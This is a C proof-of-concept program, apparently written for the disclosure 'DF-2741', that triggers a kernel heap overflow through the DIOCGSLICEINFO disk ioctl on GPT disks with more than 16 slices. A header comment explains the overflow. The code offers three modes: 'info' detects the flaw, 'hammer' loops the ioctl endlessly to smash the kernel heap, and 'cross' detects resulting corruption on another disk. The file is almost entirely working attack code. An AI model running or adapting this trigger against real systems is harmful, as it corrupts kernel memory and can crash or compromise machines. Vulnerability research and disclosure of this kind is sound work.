DF-2741 / poc2741.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 | /* * DF-2741 PoC -- DIOCGSLICEINFO heap overflow via GPT dss_nslices. * * dsioctl (sys/kern/subr_diskslice.c:556-558) bcopy()s * offsetof(struct diskslices, dss_slices[ssp->dss_nslices]) * bytes into the kernel ioctl buffer, but that buffer is sized * IOCPARM_LEN(DIOCGSLICEINFO) == sizeof(struct diskslices), which holds * only MAX_SLICES(16) slice records. gptinit() sets dss_nslices up to * BASE_SLICE + MAX_GPT_ENTRIES == 130, so the copy overflows the * 4128-byte M_IOCTLOPS allocation by (nslices-16)*sizeof(struct diskslice) * ~= 29 KB. * * Usage: * ./poc2741 <ctldev> <mode> * mode "info" : one DIOCGSLICEINFO, print dss_nslices + assert mismatch * mode "hammer" : loop DIOCGSLICEINFO forever (heap smash) * mode "cross" : (run on the CLEAN mbr disk) loop DIOCGSLICEINFO and * report any non-zero byte beyond slice record 5 -- the * plain disk only has ~6 slices so the tail must be zero; * foreign data there proves cross-allocation corruption * by a concurrent overflow on another disk. */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/diskslice.h> #include <stddef.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> int main(int argc, char **argv) { const char *dev = argv[1]; const char *mode = argv[2]; unsigned char buf[sizeof(struct diskslices)]; struct diskslices *dsp = (struct diskslices *)buf; int fd, r, i; long iter = 0; if (argc < 3) { fprintf(stderr, "usage: %s <dev> <info|hammer|cross>\n", argv[0]); return 2; } fd = open(dev, O_RDONLY); if (fd < 0) { perror("open"); return 1; } if (strcmp(mode, "info") == 0) { memset(buf, 0, sizeof(buf)); r = ioctl(fd, DIOCGSLICEINFO, buf); if (r < 0) { perror("DIOCGSLICEINFO"); return 1; } printf("DIOCGSLICEINFO ok\n"); printf(" dss_nslices (runtime) = %u\n", dsp->dss_nslices); printf(" declared type capacity = %d\n", MAX_SLICES); printf(" ioctl buffer size = %zu\n", sizeof(buf)); printf(" kernel bcopy length = %zu\n", offsetof(struct diskslices, dss_slices) + (size_t)dsp->dss_nslices * sizeof(struct diskslice)); printf(" overflow past buffer = %zd bytes\n", (ssize_t)(offsetof(struct diskslices, dss_slices) + (size_t)dsp->dss_nslices * sizeof(struct diskslice)) - (ssize_t)sizeof(buf)); if (dsp->dss_nslices > MAX_SLICES) { printf("VULNERABLE: runtime nslices %u > declared %d;" " kernel copied past the 4128-byte ioctl buffer\n", dsp->dss_nslices, MAX_SLICES); return 0; } printf("not vulnerable on this disk\n"); return 0; } if (strcmp(mode, "cross") == 0) { size_t tail = offsetof(struct diskslices, dss_slices) + 6 * sizeof(struct diskslice); for (;;) { memset(buf, 0, sizeof(buf)); r = ioctl(fd, DIOCGSLICEINFO, buf); if (r < 0) { perror("DIOCGSLICEINFO"); return 1; } for (i = (int)tail; i < (int)sizeof(buf); i++) { if (buf[i] != 0) { printf("CORRUPTION after %ld clean ioctls:" " byte %d (slice rec %d off %d)" " = %02x\n", iter, i, (i - 32) / 256, (i - 32) % 256, buf[i]); fflush(stdout); /* dump the whole record */ { int rec = (i - 32) / 256; unsigned char *p = buf + 32 + rec * 256; int j; printf(" rec %d dump:", rec); for (j = 0; j < 96; j++) printf("%c", (p[j] >= 32 && p[j] < 127) ? p[j] : '.'); printf("\n"); } fflush(stdout); return 0; } } iter++; if ((iter % 100000) == 0) { printf("... %ld clean\n", iter); fflush(stdout); } } } /* hammer */ for (;;) { r = ioctl(fd, DIOCGSLICEINFO, buf); if (r < 0) { perror("DIOCGSLICEINFO"); return 1; } iter++; if ((iter % 100000) == 0) { printf("... %ld\n", iter); fflush(stdout); } } } |